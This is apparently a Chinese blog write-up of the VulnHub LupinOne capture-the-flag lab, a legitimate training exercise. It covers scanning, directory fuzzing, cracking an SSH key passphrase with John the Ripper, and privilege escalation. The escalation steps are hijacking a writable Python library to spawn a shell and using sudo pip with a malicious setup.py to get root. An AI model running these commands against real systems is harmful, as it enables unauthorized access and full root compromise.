0%

[靶场]-LupinOne

本文聚焦于vulhub靶场LupinOne的分析与渗透测试

[靶场篇]vulhub靶场LupinOne的分析与渗透测试


一.基本信息

靶场名 LupinOne
来源 vulhub
下载链接 https://download.vulnhub.com/empire/01-Empire-Lupin-One.zip
难度 中等
网络 DHCP自动分配–本实验环境采用桥接模式
实验环境 攻击机:win11操作系统+wsl下的kali
测试机:VMware® Workstation 17 Pro里安装镜像
技术栈 扫描与目录爆破,密钥爆破解密,pip与第三方库提权

二.测试流程

信息收集

测试环境准备好后,ifconfig之后获取本机ip已知网段后,主机发现采集测试机ip,采用工具快速识别扫描主机

1
2
rscan -a 192.168.111.0/24 -u 5000  #rustcan注意写到系统bash里
nmap -sn 192.168.111.0/24 #nmap命令方式

拿到测试机ip信息是192.168.111.226,进行下一步常规ip扫描检测端口开放情况

1
rscan -a 192.168.111.226

识别测试主机ip的22与80端口开放,22端口是正常的远程连接端口,在一切未知的情况下优先放到最后采用ssh爆破技术,先测试80端口信息。继续探测端口tcp获取详细信息

1
nmap -sT -sC -sV -O -p22,80 192.168.111.226
namp探测结果
namp探测详细信息结果
Typora-Logo
golin探测详细信息结果

目前拿到的信息是80端口有http服务且是apache而且存在/~myfiles路由和robots.txt文件有可访问,22端口是ssh服务且 版本信息是OpenSSH 8.4p1 Debian 5 (protocol 2.0),服务器主机推测是linux-debian系统。继续进行测试udp端口和漏扫,均无明显成果

1
nmap -sU --top-ports 100 192.168.111.226 #udp端口扫描

访问80端口查看信息,查看是一张图片,社工分析一下,丢给ai,识图打点信息,看出类似CTF盗贼侠盗风格

namp探测结果
社工分析
Typora-Logo
详情信息

继续探测,沿用我们刚才的取得的信息,curl命令获取信息拿到查看源码

namp探测结果
robots信息
Typora-Logo
myfile目录

扫描爆破

看到提示是keeptrying信息,到此我们收集信息到此结束,接下来顺着思路扫描爆破目录,进一步尝试,采用gobuster工具与中等字典爆破目录

1
2
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.111.226 -t 50
Image

没拿到什么信息,转换思路是否和~myfile一样的文件格式,那采用ffuf工具进行精确测试

1
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.111.226/~FUZZ -t 70

拿到存在~secret信息,curl探测拿到详细信息

Hello Friend, Im happy that you found my secret diretory, I created like this to share with you my create ssh private key file
Its hided somewhere here, so that hackers dont find it and crack my passphrase with fasttrack.
I’m smart I know that.
Any problem let me know

Your best friend icex64

拿到几个信息:1.目标主机存在用户icex64 2.ssh私钥文件还隐藏在目录之中 3.ssh密钥可以被fasttrack字典爆破

继续测试目录爆破,是否会存在 ~myfile的子目录之下,沿用刚刚命令测试后一无所获,包括后续在根目录下.隐藏文件的测试也是失败的,根据类似CTF的提示推断可能藏在~secret路由之下且由于私钥相关的文件大部分为隐藏文件,故仍旧采用.匹配方式且加上文件格式匹配缩小范围圈。

1
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.111.226/~secret/.FUZZ -t 70 -fs 280 -e .key,.txt

扫出来存在的秘密文件~secret/.mysecret.txt了,curl查看一下,应当是某种base编码,看一下特征没有大写O(是在base64尝试失败后),编码转存一下(或者可以丢到工具网站一个个解),

namp探测结果
密钥文件
Typora-Logo
base58编码呈现

转存文件为passwd,执行chmod 600 passwd标准私钥文件赋权限

1
ssh -i passwd icex64@192.168.111.226 

成功交互,但是passwd私钥文件存在密码,需要爆破解密,这就用到刚刚的提示信息fasttracklocate定位一下确实也存在这样的字典(这个字典和大部分的弱口令相关),首先要用ssh2john提取私钥中的加密信息并转换格式,让 John the Ripper 能够方便通过暴力破解或字典攻击尝试恢复密码短语,然后拿到了相关的密码

1
2
ssh2john passwd | tee key_hash #提取
john key_hash --wordlist=/usr/share/wordlists/fasttrack.txt #爆破

成功上线!

image-20250717173552250

1
2
whoami;hostname;ip a #常规查看主机信息
cat user.txt #拿到第一个flag

image-20250717173802005

提权流程

继续走提权,密码在手优先查看sudo的使用情况,sudo -l指令查看到了有一个py文件,icex64 用户被授权 无需密码 以 arsene 用户的身份运行

(arsene) NOPASSWD: /usr/bin/python3.9 /home/arsene/heist.py

先继续信息搜集,找到关键用户arense查看其用户文件夹里面的信息发现有note.txt可读

“Hi my friend Icex64,

Can you please help check if my code is secure to run, I need to use for my next heist.

I dont want to anyone else get inside it, because it can compromise my account and find my secret file.

Only you have access to my program, because I know that your account is secure.

See you on the other side.

Arsene Lupin.”

有秘密文件(就是目录下的.secret),另一边见隐喻提权,而且只有icex64可以执行某个文件

查看代码文件:

1
2
3
import webbrowser
print ("Its not yet ready to get in action")
webbrowser.open("https://empirecybersecurity.co.mz")

引入了包体,可以从包入手?检查一下是否有python3.9和相关的包webbrowser ,其他用户有写的权限,那很好办了劫持第三方库实现提权

1
2
ls -liash /usr/lib/python3.9/ | grep "webbrowser" #查找
echo 'os.system("/bin/bash")' >> /usr/lib/python3.9/webbrowser.py #改包

成功,执行heist.py,成功提升权限到arsene用户,已经“这边见了”😎

1
sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py

常规查询完成后,依然sudo -l查看相应权限使用情况,发现arsene 可以 以 root(超级用户)身份 无密码执行pip命令,那么就可以利用更进一步了

Matching Defaults entries for arsene on LupinOne:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User arsene may run the following commands on LupinOne:
(root) NOPASSWD: /usr/bin/pip

User arsene may run the following commands on LupinOne:
(root) NOPASSWD: /usr/bin/pip

1
2
3
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF

提权成功,标志的#号!然后到root目录下拿到了root.txt信息-最终的flag-3mp!r3{congratulations_you_manage_to_pwn_the_lupin1_box}

img12

三.细节分析

  • 注意一点是要清楚自己的主机设备,尽量在测试环境不要弄很多的位置的ip和服务
  • 使用curl+管道符解码base58的操作,例如:curl http://192.168.111.226/~secret/.mysecret.txt | base58 -d > passwd这样可能由于网络通信格式问题会导致在ssh验证文件出错,建议采用复制的方式加echo命令写入和操作文件
  • pip提权的原理是利用pip提权的攻击脚本。首先用mktemp -d创建临时目录并存为变量TF,接着生成含恶意代码的setup.py,其中Python代码会调用os.execl启动/bin/sh,并将输入输出绑定到当前终端以获得交互式shell。最后通过sudo pip install $TF,以root权限安装该临时目录,触发setup.py执行,从而获取root权限的shell。因arsene可无密码用sudo运行pip,此操作无需验证即可提权,属于典型的权限滥用漏洞利用。
  • 这有CTF的形式的靶场个人认为核心应聚焦于目录的爆破的思路,在实战中这一点如果说不采用对文件形式格式的分析而有目的的爆破硬性采用换字典的方式会加大很大成本的时间成本,这一点可以应用到相应的实战之中。

声明:

本文只应用与信息安全的交流与学习,此为作者学习记录,请勿利用文章相关技术从事非法活动,如因此产生任何的不良后果与文章作者无关,本文仅供学习参考。

坚持原创,如鼓励可以赏一杯甜水🥤